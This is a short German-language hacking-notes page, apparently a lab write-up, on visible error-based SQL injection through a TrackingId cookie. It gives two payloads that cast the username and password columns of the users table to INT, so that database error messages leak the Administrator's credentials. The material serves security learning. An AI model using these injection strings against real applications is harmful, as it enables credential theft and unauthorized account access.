> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/error-based-sql-injection.md).

# Fehlerbasiertes SQL-Injection

### Sichtbare fehlerbasierte SQL-Injection

**Kurzer Kontext:** die Anwendung den Wert des `TrackingId` Cookies in einer SQL-Abfrage verkettet. Durch das Auslösen eines \*\*Konvertierungsfehlers / einer Funktion\*\* bei den Inhalten einer Spalte (Benutzername/Passwort) geben einige DBMS eine Fehlermeldung zurück, die den Wert enthält — diese Meldung wird zu einer Exfiltrationszeichenkette. Ziel: Das `Administrator` Passwort abrufen und sich dann anmelden.

<figure><img src="/files/07e2c8ba50374509b9ad2f9d09319ec272be0de1" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select username from users limit 1)as INT)-- -
```

<figure><img src="/files/72880be5549990e078949a5d9163053e9194663a" alt=""><figcaption></figcaption></figure>

```sql
' or 1=cast((select password from users limit 1)as INT)-- -
```

<figure><img src="/files/1e461cda09595eea61bdd40874239f1ec1d56c62" alt=""><figcaption></figcaption></figure>


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